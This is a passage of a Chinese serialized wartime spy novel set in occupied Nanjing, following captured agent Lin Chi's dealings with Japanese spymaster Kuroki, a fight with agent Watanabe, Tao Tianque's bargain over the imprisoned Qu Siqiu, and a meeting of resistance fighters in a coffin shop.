自黑木提出这个近乎荒唐的要求后,林赤一直处在尴尬的气氛中,但他的思索无时无刻不在进行,凭他的直觉,这一定是黑木的阴谋,可是他怎么也理不出头绪,难道黑木真是闲得无聊想体验牵线搭桥的个中乐趣?还是黑木想给自己施些恩惠好让他林赤铁了心地投靠日本人?要不就是黑木想让自己移情别恋,好将他从曲思秋的阴影中快速解脱出来,不再受制于曲思秋的冥顽? 盘算再三,林赤觉得最后一个理由最合情理。 或许真是因为林赤一再强调他的转变是基于曲思秋的安危,这才让黑木有了危机感,因而他急切想做的,就是降低或消减曲思秋在他心中的分量,从而削弱他的顾忌? 这个老鬼子不会真的以为,新欢可以很快替换旧爱?给他介绍一个新女友,他就可以把曲思秋遗忘殆尽?难道日本人都是这副德行,这就是他们一贯的认知? 林赤百思不得其解。 就在这时,陶天阙好奇向黑木问道:“为何黑木君对当一回中国式红娘情有独钟?” 黑木已然估计到会有此一问,竟然未作思考,便脱口答道:“我不能让林先生老是拿那位共党嫌犯来要挟我啊!” 林赤心中冷笑,这和他的预判有惊人的相似,但林赤总感觉这不是他的真话,一定还有内情。 黑木见无人应答,又洋洋洒洒道:“月老乃你们中国民间的红喜神,他最喜欢做的一件事,就是给有缘人系上红绳,此绳一系,终不可逭。他终其一生行走寰宇,在芸芸众生中苦觅有缘之人,将红绳系于夫妻之足,成就了万万千千桩美好姻缘,老人家以为,前世注定今生姻缘,这一点我万万不敢苟同,我大和民族一向以为,婚姻的幸福必须建立在物质和精神的对等基础之上,没有了这一点的支撑,所谓的婚姻美满则是海市蜃楼,微风一吹,分崩离析,因而,什么是婚姻的基石?我以为,那就是门当户对!”黑木环视四周,见众人都在倾听他夸夸其谈,不但陶楚歌听得津津有味,就连一直未开口说话的渡边小姐也对自己的这个话题表现出极强的兴趣,整个人立即像打了鸡血一般亢奋起来。 “我为什么要说门不当户不对的婚姻注定会是一场悲剧呢?首先,这取决于他们观念的差异,这第一点,是婚姻最大的绊脚石,也会带来无穷的危害,就拿林先生和他的前女友曲思秋来说,他们来自于两个不同的阵营,一个属于共产党,一个属于国民党,这两党在中国国内倾轧由来已久,至今已内斗了十数年,搞得国内乌烟瘴气、民不聊生,老百姓怨声载道,正因为如此,我帝国有担当的绝大多数人实在看不下去,才不远千里漂洋过海来解救人们于水火,奇怪的是,我们不帮你们,你们整天吵吵打打,我们一来,你们两党反而相安无事,倒出奇的安静,就是活脱脱的一副贱骨头!不过,这只是一时的表面现象,他们是无法永远和平相处的,因为本质上他们的观念是有区别的!因而在我看来,林先生和曲小姐是不会有好结果的……这第二点,就要说到物质层面,在婚姻中的物质层面无非就两点,一个是经济基础,一个是才貌,经济基础咱先不说,先说才貌,林先生仪表堂堂,才华横溢,还留学过法国军事院校,可是呢,那位曲小姐仅仅是可能受到一定教育的普通学校的毕业生,家庭背景更是无法和陶小姐相提并论,而相貌……呵呵,原本还算有些姿色,不过现在可不好说了,渡边小姐的刑罚应该会在她漂亮的脸蛋上留下一道道疤痕……” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!林赤听不下去了,他的脑际中浮现出曲思秋绝望的眼神。 他的耳畔反复出现曲思秋所说的那句话。 “……我的脸上已没有一处完整的皮肤,你也知道,这对于一个爱美的女人来说,无异于要了她的性命!所以,我现在需要你做的,就是把我从你的记忆中抹去!就当我……就当我已死去!” 黑木继续娓娓说道:“……我一定要让林先生和他的过去一刀两断,不要再陷于那段陈腐的恋情,我要给他一个全新的未来,这就是我的初衷!” 林赤强忍住内心对黑木的厌恶,瞥了一眼一直在安心倾听的渡边小姐,站起身对黑木徐徐道:“将军真是一个操心的命,您的好意我心领了,既然将军想给我千方百计找一个门当户对的,以断了我的后顾之忧,我倒是有一个比楚歌小姐更合适的人选,还望将军能给在下牵个线搭个桥。” “这个人是谁?” “渡边小姐呀……” 黑木一愣,笑容顿时僵化。 渡边听到从林赤的嘴里吐出自己的名字,大感意外,脸上先是一片愕然,旋即涌现出红晕,坐在那里不知所措,但很快醒悟过来,腾地站起,嗔怒道:“我呸,你休想!” 说话间,林赤已离开座位,踱步到渡边身旁。 “渡边小姐息怒……”林赤嬉笑道,“您姑且先听我把话讲完。” “有屁快放!”渡边话中爆粗。 林赤也不生气,伸出右手搭在渡边的肩上,神态轻佻道:“您难道不觉得我俩是天造地设的一对吗?” 转眼之间,渡边成了众人的聚焦,这是她万万没有料到的,不过,事实上连她自己都不得不承认她对林赤不但不讨厌,反而内心深处埋藏着某一种期许,因而当林赤将手放在她肩上时,她竟然有种心驰神迷的感觉,居然不愿挥手拒之,当然,渡边也是能够听出他言语中戏谑的意味,或许这是对方在调戏自己,可尽管心有此念,但渡边却下不去手,任由林赤的手搭在她的肩膀上。一个念头在渡边的心中快速闪现:如果林赤接下来有什么不轨的行为,包括言语的不恭,那她一定要给他点颜色瞧瞧! “实话说了吧,我仰慕你已经很久了,你的气质和美貌深深打动了我,自从那天傍晚在国际安全区里见到了你,我就无法将你忘却,我的满脑子全是你……请你原谅我的唐突。”林赤开始一本正经说道。 陶楚歌诧异地抬起头,不由得皱起了眉头。 她百思不得其解,林赤为何会喜欢上这样一位心如毒蝎的女人。 这番表白之后,林赤忽然向黑木发问道:“将军阁下,您觉得我们在一起合适吗?”说着不等黑木回答,手指间逐渐用力,把渡边的身子扭到面向黑木的一侧。 渡边看到黑木突然间脸就阴沉了下来,知道黑木已大大不悦,心想是时候狠狠教训一下轻佻的林赤了。 林赤的手肆无忌惮,意图十分明显,就是欲把渡边的身子拉近他的身体,渡边顺着他手臂的牵引缓缓靠近了他,就在她的身体完全贴在林赤臂弯之际,渡边蓦然一矮身,从林赤的臂弯下迅速闪到他的身后,电光火石间,渡边的一只手已然握住林赤的右手,大拇指以最快的速度扣住了他的虎口,手臂的力量立时如溃堤之洪流绵延而至。 渡边已焕发出全身的气力,欲将林赤的右手反扣到他的后背,然后准备借力打力,把林赤摔个四脚朝天…… 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第177章 征服 林赤搭在渡边右肩上的手柔软无力,渡边一扣一扳,竟然轻轻松松把它扭到身后。 渡边心中暗喜。 既然在众目睽睽之下挑起事端,渡边决心已下,开弓没有回头箭,她必须一击成功,动作不能有丝毫拖泥带水,要快速制服林赤,好教训一下不知天高地厚的他。 征服他人一直是渡边孜孜追求的,况且是一个她十分不讨厌的青年男人,渡边心旌旗摇,兴奋异常,右手得手后,左手马上前探,去勒林赤的脖子。 或许是林赤刚刚经受过大刑,身体本就极其虚弱,反应也大不如前,当渡边的左手绕过他的脖子的时候,他也只是本能地用另一只手挡了挡。 渡边本来就忌讳林赤的另一只手不受控制,从而威胁到自身的安全,如果能够顺利地勒住他的咽喉要害,渡边倒也不在乎他的另一只手翻出多大的浪,却见林赤不自觉用手臂护住了咽喉,渡边更是欢喜,正好一举两得,将他可以活动的另只手和喉咙一并裹挟住。 渡边左手也已达到预期目的,接下来她所要做的,就是用足力气,将林赤的身子扳倒。 林赤的身板已不伟岸,在渡边全力压迫下,竟然矮身下来,看来这个留学法国炮兵大学的高材生也只是浪得虚名。亦或,酷刑之后,他果真是极度羸弱了。 就当渡边胜算在握、洋洋得意之际,林赤弯曲的腰身忽然间岿然不动,任凭渡边如何用力,就是无法再前进一步。渡边一惊,突然明白他在运动中已调整了重心,利用身子的主动下探让他的下盘变得更扎实。 僵持仅仅持续了不到一秒,林赤的腰部开始发力,后背迅速拱起,被扣住虎口的右手跟着传来巨大的力道,两股力量立即把渡边的身子紧紧贴合在他的背上,与此同时,林赤的另一只左手从渡边的臂弯里奋力上扬,挣脱了她的控制,并把她的手臂和自己的喉咙隔离,左手五指伸展,从脑后探出,很快触碰到渡边的脑袋,这个时候,林赤的这只左手猛然间一把抓住了渡边的头发。 水到渠成,一切已准备就绪。 这毫厘之间,渡边居然来不及反应,林赤的身子继续前倾,她的腹部感受到林赤的右手臂传递而来的洪荒之力,她的身子不由自主地贴着林赤的后背,双脚逐渐离地,刹那间林赤的左手猛然发力,拽着她的头发将她整个身体托起…… 渡边尚还没明白怎么回事,她的身体已从林赤的头顶翻飞出去,双腿在空中划了一百八十度,屁股率先落地,重重地砸在地上。 伴随着渡边一声娇娇的惨叫,林赤颤巍巍直起身子。 他的脸上汗水淋漓。 他略显得有些不好意思向众人看了一眼,把双手在裤管上擦了擦。 表情最诧异地莫过于陶楚歌,直到和林赤的目光相遇,她的神情才有所缓和,她瞪大的眼睛很快柔和起来,朝着林赤莞尔一笑。 黑木的脸上还遗留着笑容,不过,这笑容现在比哭还难看,很显然,他在开始阶段,必定执着认为林赤是自讨没趣,渡边对他的教训正合心意,可他万万没料到是这样的结局。 陶天阙饶是阅历丰富,但却也没有得以亲自见到如此铁血的场面,一直惊愕地张大着嘴巴,但很快他开始似笑非笑起来。 反应最迅捷的当属黑木了,当林赤的目光停留在他脸上时,他知道自己必须表态了。 那丝尴尬的笑容奇异般地恢复了活力,从他的嘴角荡漾开来。 黑木呵呵笑着,还没忘记鼓掌。 “林先生身手果然不凡啊!”黑木开始移动脚步,他对这个年轻人忽然又多了一份敬佩,尤其是前不久对他身心不间断的刑罚,他居然还能有如此强大的爆发力,这已不是一般人所具备的了。 除了违心地对林赤赞赏几句,他又能说什么呢?谁叫渡边小姐先动手的? “嘿嘿,林先生不愧是高等军事学府的毕业生。”黑木又补充一句,不过这一句林赤听出了他话中的异样。 林赤已感知到黑木话中的那股萧瑟之气。 林赤对刚刚自己的率性而为开始后悔起来。他不小心暴露了自己的实力,这或许会让黑木愈加重视他的这个对手,一旦产生了这样的后果,于林赤而言,肯定不是什么好事。 可是那一瞬间,林赤实在控制不了自己,他对渡边的恨已盖过一切,曲思秋正是拜她所赐,开始生无可恋。对于伤害了自己亲人(起码在林赤的内心,曲思秋已是他的亲人)的任何人,林赤眦睚必报。 但他身负使命,他万万不能纵情而为。 林赤暗暗下定决心,为了计划的顺利达成,从今以后他必须抑制住自己的喜恶! 松机关行动处的处长渡边雪奈少佐还躺在地上呻吟,看来这一摔,着实不轻。 林赤轻吁一口气,走近渡边,对她伸出右手。 “渡边小姐,得罪了!” 渡边无动于衷,呻吟声更响了。 “请渡边小姐原谅我的唐突!”林赤的口气很诚恳。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!渡边微微扭动了身子,用余光看了林赤一眼,至今她都没有明白自己是怎么被对方摔倒的。她被摔倒的那一刻,她潜意识里以为是自己不小心,中了林赤的诡计,可躺在地上吟叫的这段时间以来,她已否定了自己的看法,如果说在一开始她还顾惜他身体的虚弱,怕他受不了自己的致命一击,可当她发现对方并不能够轻易扳倒后,自己明明是用尽了全力,然而幸运之神还是钟情与他,这就不得不说是对方高出己方太多! 她渡边好歹也是个帝国专业军事院校的优秀毕业生,深谙搏击之术,即使自己是个女子,但也不是一般男子可以轻易把自己击倒的。 此时此刻,渡边对这个男人更是打心里仰慕。 尽管屁股着地时,剧烈的疼痛让她恼羞成怒,她曾想过再次报复他,不过,时过境迁,她这时身上已不疼了,之所以吟叫,她是企望能得到林赤的牵手。 这一摔,她被林赤彻底征服了。 征服欲很强的人都有一个通病,要不彻底征服别人,要不被人彻底征服。 某种程度而言,征服欲很强的人,就是一匹烈马,当被征服后,对征服者会变得无比温驯。 林赤还沉浸在莽撞的懊悔之中,他的目光寻觅到渡边的手,俯身抓起她的手,另一只手握住她的肩,用力把她架起来。 渡边并不挣扎,顺势爬起,身子软绵绵的倚在林赤的臂弯里,双眸回转,蓦然看到林赤的眼睛里似乎存有一丝关切,再也不能自己,双手忽然紧紧勒住林赤的脖子,张嘴向林赤的耳朵一口咬去。 林赤大惊失色,本能想再次发力,把渡边从身子旁甩出,可生怕动作太夸张,无休无止恶性循环下去,只得生生忍住。 渡边毫不犹豫地一口咬住林赤的耳垂,坚硬的牙齿已在把他的耳垂牢牢含在嘴里。 林赤心想,一定是报复心极强的渡边开始报复他了。他一动也不敢动,已做好了被对方伤害的准备。 然而,坏的情况并没有发生,渡边只是做出气势汹汹的样子,并没有下口咬他。这让林赤极其奇怪。不但如此,林赤还感知到对方的牙齿开始松开,温热的舌头替代她的牙齿,贴在他的耳垂上。 林赤浑身不自在起来。 就在这时,忽然听到黑木不耐烦地喊叫到:“渡边小姐,你闹够了没有?”黑木一脸怒气,狠狠地瞪着渡边。 他和林赤一样,总以为渡边会毫不心软报复林赤,就黑木对渡边的了解,这一口咬下来,林赤的耳垂恐怕会分崩离析,这并不是他愿意看到的。 渡边目的达成,随即松开嘴,放过林赤。 林赤如蒙大赦般快速脱离的渡边的可控范围,回头之际,却见渡边眼光迷离,面色潮红。 “渡边少佐,这么对待林先生,有失公允,既然你技不如人,你就得认!”黑木冷冷地提醒渡边道,“这咬人的行为,可不是我帝国皇军做的!” 渡边理了理头发,装作要申辩几句的样子。 “好了,你不要再说了,让陶老先生见笑。” 渡边一字未吐,重重地摔了一下房门,匆匆出了房间。 “渡边小姐性格刚烈,生性豪迈,像个男人一样,她从不轻易认输!”黑木笑着对陶天阙解释道。 陶天阙由衷的愉悦,通过这一幕,他对林赤的看法完全改变,先是敬佩他的勇气,转而欣赏他的身手。某种意义上,林赤对渡边的教训让他感同身受,使他的每个毛孔都舒畅起来。 黑木依旧惦记他的算计,忙不迭声补充道:“陶老先生,这个孙女婿你还满意吗?您一定也能看出,他是个了不起的年轻人。” 陶天阙忽然有了主意,捋了捋胡须回答道:“我是喜欢这个小伙子的,不过,感情的事强求不得,还是需要问问我歌儿的意见!” “陶小姐,你的意见呢?” 陶楚歌脸色一片羞红,根本不知如何作答,慌不择路夺门而出。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第178章 听从内心 两个女人相继跑出房内,屋内剩下清一色的男人,除了黑木、林赤和陶天阙外,还有两名狱警远远地站在房门口。 在黑木看来,陶楚歌羞态可掬,毫无疑问她已默许了他的提议,只是不好意思当众表态罢了。 陶天阙对这个唯一的孙女也是自忖十分了解,从她的言行举止他早就断定林赤是孙女心中的不二人选。之所以当着黑木的面询问楚歌,无非就是走走过场。 剩下来,黑木所要做的就是做林赤的思想工作。 一切按照他的思路向前推进。 如若一切如愿,黑木恨不得马上将陶天阙拽进局中,胁迫他答应一同开采栖霞山锰矿。 黑木沉吟片刻,正欲询问林赤的意愿,却听到陶天阙率先问道:“林先生,你和歌儿已相处一段时日,歌儿的为人你也大致了解,她的父母你也见过,他们都是本分的生意人,根本不关心政治,且与世无争,我想这段姻缘还算适合你吧。”说着,陶天阙逐渐走近林赤。 这是怎么啦?林赤内心嘀咕一句,他没想到陶天阙也会急着撮合这段恋情,心中十分讶异,忍不住狐疑地看了陶天阙一眼。 陶天阙此时已背对黑木,林赤看到他正在不断地给自己递着眼色。 “林先生,你先不用急着回复我,但我希望你三思!” 林赤于是支支吾吾起来,不置可否。 黑木趁热打铁,“陶老先生这完全是为林先生着想啊!” 陶天阙之所以迫切应允黑木的所谓“不情之请”,的的确确是为了林赤。 从进了这间房后,尽管陶天阙不清楚审讯室发生的一切,但他大致听清了个中缘由,一定是日本人拿曲思秋来胁迫林赤,才导致了他的转变,因而,他的第一感觉,就是尽可能地解除林赤的顾虑。当然陶天阙也知道,这样的举措治标不治本,根本无法让林赤轻装上阵。 除了这一点,依陶天阙丰富的江湖经验,他已大体上猜想到黑木的盘算,黑木作为南京城的最高阶情报主官,怎么可能清闲得去管两名中国青年男女的婚情?他这样做必有深意,最大的可能性就是与前些日子谈及的合作开采锰矿一事大有关系,他只是一介百姓,根本没有把柄落入他手,如果自己执意拒绝合作,他黑木倒也奈何自己不得。正因为如此,或许黑木才急于捏合这段姻缘,好让自己和一名军统间谍不清不楚起来。 关于合作开采锰矿事宜,这数天来陶天阙已经捋清其中利害关系,与其拒之,不如允之,最大的原因就是日本人不会因为自己的态度而放弃锰矿的开采。他尽管毕业于东京大学勘探专业,但并不代表日本人找不到其他的此专业的能人,锰矿开采或许推迟但绝不可能搁置,想清楚这一点,陶天阙权衡再三,总觉得应允了乃为上策。 因而,当下陶天阙迫切想做的,就是利用黑木有求于己,拯救林赤于水火。 他根本不在乎林赤的身份,他只知道他是一个有胆识有担当的中国人,这样有血性的中国人,他陶天阙打心里喜欢。至于和这样一名所谓的军统间谍扯上关系,老迈但也豪迈的陶天阙其实毫不在乎。 如果能让林赤不用说出太多的秘密,就可以全身而退,是陶天阙最大的心愿。另外,既然孙女真心喜欢这个男子,倒也顺便可以遂了她的愿。 主意一旦拿定,陶天阙已知道接下来自己该如何做。 “孩子,你的心思我懂,你是不是担心曲医生的安危?你不想弃她不顾?” 林赤缄口不语。 “你有把握救她吗?” 林赤还是缄口不语。 陶天阙并不气馁,继续谆谆善诱道:“你是一个有志气的孩子,我知道你还有很多事情要做,有些事情,你必须听从内心的安排!” 林赤的嘴角动了动,但还是忍住没有发声。 “你难道不会真的认为你的情报可以换得曲医生的平安?毕竟,她是一名共产党啊!”陶天阙终于血淋淋地直指问题的本质。 这也是林赤最担忧的事情。 自始至终,关于这一点林赤一直无法说服自己,他知道他的情报可以使得曲思秋短时间平安无事,但至于结果如何,他不敢深想,因为所有迹象表明,曲思秋已经铁了心要和日本人抗争到底。 他的权重远远没有到日本人投鼠忌器的那一步,这就意味着只要曲思秋继续抗争下去,凭他个人的能力是不可能保她永远无恙。 摆在林赤面前的,有两个无法逾越的难关,第一,他没有机会单独和曲思秋相见,即使相见,他绝不可能向他人透露自己的“卧龙计划”,“卧龙计划”是一个高度核心机密,即使是南京站,所知道内情的也只是区区数人,更何况曲思秋并不属于他的组织;第二,他根本做不到让曲思秋出卖她的组织,曲思秋和自己的处境完全两样,在被捕前,曲思秋是没有做任何的准备,不像林赤本人,为了顺利实施他的计划,他是做足了功课,且进行了充分细致的准备的,一句话,林赤的“被捕”本身就是计划的一部分,是有预案的。 本小章还未完,请点击下一页继续阅读后面精彩内容!听到陶天阙的最后一席话,林赤这才如梦初醒。 美丽的肥皂泡无情破裂,林赤沮丧起来。他不得不提前开始思索应对策略。 陶天阙看到林赤眉头紧锁,知道他的话触动了他。 黑木不知何时已走到陶天阙身旁,他哀怨地打量了陶天阙一眼,紧张地监视着二人的对话。 黑木担心陶天阙这番话适得其反,万一林赤领悟到他话中深意,忽然决绝起来,岂不是到最后什么都捞不到?想到这儿,黑木赶紧说道:“陶老言重了……林先生不必过份担忧,只要你合作,我们会设法减轻曲医生的罪行,不管她招还是不招……当然,如果她如实招供,则一切都好说……” 林赤对他的话充耳不闻,对陶天阙道:“这么说,陶老的意思是让我……” “和皇军合作!”陶天阙抢过话,断然说道。 黑木松了一口气。这时典狱长武内次郎走进房间,黑木没话找话问道:“渡边小姐呢?” “渡边小姐刚刚离开了,她让我转告你,她有一件紧要行动需要马上布置,安排完即刻回来。” “她有行动?什么行动?我怎么不知道?” “她接了一个电话,说有一家汽修厂出了点情况……” 武内到底不是专业从事情报工作的,竟然不管外人在场,完全口无遮拦,黑木连忙提高嗓门咳嗽几声,把他的话盖了下去,忙不迭声道:“嘿嘿,我知道了……” 他的耳里却听到林赤又问道:“陶老让我如何合作?” “说出你的秘密,换来皇军的信任!这样的劝诫是我陶某人唯一能帮你的了!” 林赤从陶天阙不断递来的眼色已大致有了判断,这肯定是陶天阙设计的权宜之计,但至于他为何要怎么做,林赤依旧一头雾水,总不会这位老先生真的率真到因为孙女喜欢自己就不顾一切地蹚进这趟浑水?这对他有害无益啊! 陶天阙的神色可以判断,他好像非常企盼自己应允。 林赤根本不知道黑木此时有求于陶天阙,也不知道陶天阙的本意是为了救他。 至于陶楚歌喜欢自己,这一点林赤是有感觉的,从他第一次搬进陶府,陶楚歌对他就表现出异乎寻常的关心,除了给予生活上的帮助,年轻的楚歌小姐还利用一切闲暇时光主动教他日语,用心之专似乎已超越了普通人的关系。 作为“卧龙计划”的主导者与具体实施者,林赤目前遇到了最大的困难就是自己的恋人曲思秋被牵扯进来了,曲思秋如果执意不招,他的转变就显得极不自然,也在逻辑上有了瑕疵,因而,某种意义上说,黑木的牵线搭桥反而帮助了他,可以让他更快地解脱出来,跳出这个怪圈,从而向前迈出坚实的一步。 事已至此,所有的一切必须围绕“卧龙计划”的顺利实施!一切的不利因素统统需要为它让路! 林赤忽然间轻松起来,在这个山河破碎风飘絮的年代,儿女情长又算得上什么! 既然陶天阙也有此意,林赤心想,不如半推半就答应了吧! 就在这片刻之间,林赤心坚如铁。 为了让事情本身显得更合理,他显出一副若有所思的样子,对陶天阙说道:“你给我一个娶楚歌的理由!” “傻孩子,两情相悦还需要理由吗?” “可是……可是……”林赤脸红了。 陶天阙马上道:“可是什么,既然黑木将军赏识你,还亲自给你当媒人,这个面子就是我也不得不给啊!你接下来需要做的,就是按将军的意思,说出你该说的,我想将军是不会为难你的……” 说到这儿,陶天阙认为时机已然成熟,转身朝着黑木道:“将军阁下,我也有个‘不情之请’……” “陶老先生请讲。” “其实,准确来说应该是个交易!” “哦?” “我答应你一同开采栖霞山锰矿,不过有个前提,求你放过曲医生,不管她招还是不招!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第179章 夜色中的访者 黑木终于得到他期盼已久的答复,但他万万没料到,对方居然附带了一个条件。 合作开采锰矿一事,黑木执着认为,陶天阙的应允只是时间问题,因为说到底,他是个商人,而且是个精明的商人,但现在看来,对方提出了一个近乎无理的要求,从这个角度来看,他不单纯只是个商人那么简单,退一步讲他起码算是一个爱国的商人。 因为他涉政了。 据黑木掌握的情报,利民诊所的曲思秋医生和陶天阙非亲非故,更无特别深厚的情谊,而用释放曲思秋作为合作开采锰矿的筹码,这对黑木而言,已然触犯他的底线。 黑木顿时大为不悦。 由于接下来谈及的话题涉及到栖霞山锰矿,这目前尚算得上是日方的核心机密,黑木毫不犹豫让人把林赤带离。 林赤刚走,黑木的脸色马上阴沉下来。 “陶老,你可要考虑清楚,你到底在说什么!” “将军阁下,难道我表述得不够清楚?” “我可记得您说过,您不问政治,更不关心政治!可是你现在却要求我放过一位和帝国作对的共产党,我真的弄不懂你是何居心?” “将军还是太较真……”陶天阙扶了扶眼镜,“我有言在先,我是在和你做一笔交易,这和政治无关!” “您不觉得这笔交易太让我为难了吗?”黑木正色道:“如果这个消息传到大本营某些个激进而又好激动的将军耳里,不但可以马上把你投入监牢,连我本人都难辞其咎!” “我是一名商人,在我的眼里只有利益,假如将军以为这笔生意亏了本,可以放弃!” “那我想问一下陶老先生,一个共党嫌疑犯,对您有何利益可言?” “在我眼里,曲小姐首先是一名中国人,其次她的身份才是一名医生,至于所谓共产党的嫌犯身份,根本就不在我的考虑范畴,我对你们和共产党也好,国民党也好,你们之间的争斗我向来冷眼旁观,从不发表任何看法,更不干涉,还望将军明鉴!作为一名外科医生,曲小姐是一个难得的人才,这一点应天教会医院的玛丽院长有明确的评价,不信将军可以去问问她?” “但愿这是你的肺腑之言!”黑木的语气有些缓和,但心结还在,不甘心又道:“陶老会长,只要是不涉政的要求,我想我都可以答应你,就这一件事……嘿嘿,恐我不能应你!” 陶天阙的语气也缓和下来,“此要求尽管有些唐突,也着实为难将军了,不过,我希望将军换个角度思考问题。” 黑木皱着眉头打量了陶天阙一眼。 “我其实更多的是为了将军考虑!” 黑木疑惑道:“此话怎讲?” 陶天阙继续说道:“你们前一阶段的对话,我算听明白了,这位林先生是因为顾及到曲小姐的安危,才违心承诺倒出心中的秘密,可是将军想过没有,万一这位曲小姐拒绝合作呢?你们会怎么处置她?” “如果她不合作,对待帝国的敌人,只有唯一一种下场!” “把她杀了?!……如若这样,林先生还怎么死心塌地效忠皇军?你们放了曲小姐,那位林先生也就没有了后顾之忧,不但因此感激皇军,还会心无旁骛为皇军服务,这是我们都希望看到的一幕!何况曲小姐本不是什么了不起的人物,她就是一名从学校毕业不久的学生,是受了某种蛊惑才误入歧途的,这样的迂腐学生,在共产党那里一抓一大把,她的身份充其量也就是提供些二三流的情报,就是一个人手而已,可是我想这位林先生可就不一样了,他的地位相较曲小姐而言,恐怕不可相提并论,再说,共产党羽翼未丰,你们主要的对手还是国民党,孰轻孰重,我相信将军心中自有衡量!” “我承认陶老先生的话有些道理,但我不能放虎归山,也不能首开帝国的敌人得不到应有的惩罚就挣脱藩篱之先河!……除非……除非……” 陶天阙追问道:“除非什么?” 黑木似乎显得很为难道:“我把我的底线透露给你,除非曲小姐告诉我们她的上线,不,甚至可以不用出卖她的上线,只要她举报一名共产党,我们不但不追究她的过失,还会还她自由,让她安安心心去做她的外科医生,并且保证再也不打扰她!” 紧接着黑木又道:“这是我最大的让步了!” 陶天阙不说话了,一直低头沉思着。 黑木马上站起,一脸轻松道:“好了,陶老不用太纠结,这本不关你的事,我劝你还是不要掺和其中,对你没有一丁点好处!” 陶天阙却依旧一脸固执,执拗说道:“那我和将军一言为定,我接下来将和林先生一道做说服曲小姐的工作,到时如果达到将军的要求,希望将军不要食言!” “那是自然!”黑木嘻嘻一笑。 这笔交易对黑木而言,当然觉得十分划算,曲思秋只是共党的一名小小的发报员,价值不会太大,且不论她到底掌握了多少秘密,关键的是在抓获她的当晚,在轿车中还发现了一本手抄密码本,这毫无疑问是共党电台的通讯密码,就这一点对南京城里人丁不旺的共党而言,它的泄露会使他们的元气大伤,南京城的共党分子即使发现了密码的泄露,也是力有不逮,是绝无可能在短时间内重建一套新的密码体系,唯一所能做的,就是蛰伏,这也就意味着,共党将有某一整条的情报线将会在短期内彻底崩溃,成了睁眼瞎。 本小章还未完,请点击下一页继续阅读后面精彩内容!此外,身为军统南京站的副站长的林赤如果不再顾忌曲思秋的安危,能够和皇军友好合作,那将是一座巨大的宝藏,不但会收获到累累硕果,甚至可以一举捣毁军统的情报体系!还有关键一点,那就是陶天阙终于答应合作开采锰矿,这意味着钢铁的产量会提高到一个新的量级、投入战争之用的舰船和武器弹药有了基本的保障……如此丰功伟使得帝国接下来的扩张更是如虎添翼,加上曲思秋还能顺带告发一名共党分子,这个生意怎么算都让人忍不住想笑。 黑木携起陶天阙的手,意气风发说道:“陶老先生,让我们和林先生一起来给曲小姐上一堂课吧!” …… 冬日的夕阳刚刚隐没在西方的天际中,转眼之间,夜色就由清淡很快变得厚重,二十多分钟后,夜色已然浓得化不开。 太平路上,随着华灯初上,人流逐渐熙攘起来,这条南京城最主要的街道开始显现活力。 这时,距离南京城沦陷已过去了将近四十天,人们已逐渐从死亡的阴影中走了出来。 太平路被中山东路划分为南北两段,最热闹的当属太平路南段,在南段,主要云集了百货店、各大菜系的饭庄以及关乎百姓衣食住行的各类店铺。其中霓虹的光彩最为夺目即为南京城的地方老字号——绿柳居。 相比较南段的繁华,太平路北段就要寡淡得多,很多店铺依旧关门歇业,只有少数几家在夜幕降临时在店铺的大门一侧挂起了灯笼。 从中山东路的路口沿着太平路向北直行五百多米,赫然可见一家店铺门口挂着一盏白色的灯笼,这灯笼的灯罩全是一片素白,完全没有丝毫喜庆的红色,依稀能够看到灯笼上贴着一个字。 “思”。 再看店铺的门头,门匾上书写着几个黑色的字:思死铭志。 没错,这是一家丧葬用品商店,店名就叫“思”,思死谐音,却不落俗套,老南京人都知道,这也是一家地方老字号,名气不在绿柳居之下。 毫无疑问,棺材乃为这家店的主营产品,由于棺材必须能够容纳人身,故而体积庞大却无法折叠,所以这家店铺的面积很大,足足占有街面一侧三间房屋之多。 走进店内,三间店铺均已打通,一眼望去,棺材数量和种类均很丰富,足见这家店铺的生意还是不错的。 店铺的柜台里坐着一个六十来岁的干瘦老人,他一直低着脑袋,在昏暗的灯光下看着什么。 一张过时的报纸。 夜晚七点刚过,夜色中忽然现出一个人影,自从他出现在门口,一刻也没犹豫,径直踱步来到柜台前。 急促的脚步并没有唤起柜台内那位老人的注意,他依旧埋头看报,似乎对上门的生意并不太在乎,或许这也是他的经营之道,对待这类客户,还是不能表现得太过热情。 柜台上方的那盏15瓦的白炽灯照射出的灯光尽管含混不清,但已能够大体勾勒出来者的轮廓。 是一位二十六七岁的年轻人,一米七五以上的个头,皮肤很白,一看便知是城里人。 他的脸色有些阴郁,看得出不是很开心。 是的,来这里的人又有谁会高高兴兴? 年轻人尽管不开心,却也不悲伤。他进来半天,见掌柜的无动于衷,连正眼也不瞧他一下,早已有些不耐烦,便用手指在柜台上使劲敲了几下。 即便如此,干瘦老人还是不情愿地抬头从眼镜镜框上方打量了他一眼。 “买棺材吗?” 年轻人皱了皱眉,“你姓储?” 老头有些诧异,刚想问话,年轻人已证实了自己的判断,又道:“我找储洪义。” 老头终于热情起来,忙问:“你是哪位?” 年轻人四处瞟了一眼,低声道:“我是他的长官!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第180章 新鲜血液 年轻人刚说明来意,干瘦老人起身离开柜台,趋步走到门口,朝两边张望一番,确信没有可疑迹象后,方才快步回到年轻人身旁,手一挥说道:“你跟我来。” 铺子里摆满了棺材,两人一前一后穿过一条稍宽的间隙,径直来到最里间,老人在一扇木门前停了下来,抬手轻轻敲了几下门,门从里面被人打开,一个脑袋探出来,当他的目光和年轻人相遇时,情不自禁喊了一声:“曲营长,你可算来了。” 紧接着,房内又一个矮小的身影出现在他们的面前,一个声音惊喜道:“曲副大队长……” 来访的年轻人脸一沉,轻声呵斥道:“陈大军、冯勇敢,我跟你们说了多少遍了,以后不要叫我曲副大队长,也不要叫我曲营长……” 他顿了顿,扭捏道:“叫我曲连长!” 被唤作陈大军的涎着脸嬉笑道:“这不是习惯了嘛,一时改不了!” 冯勇敢也连声附和:“就是……” 这位自称为曲连长的年轻人正是曲思冬,而陈大军就是他任职国军南京城防司令部少校营长时的属下,他是自南京城沦陷后,一直追随曲思冬至今的唯一已知幸存者。而小个子冯勇敢,是他在紫金山成立华帮抗战大队时招募的部下,已随他出生入死多次。 曲思冬一脚踏进里屋,顿时从四面八方的角落里冒出七八个人团团围住了他,七嘴八舌向他问好。 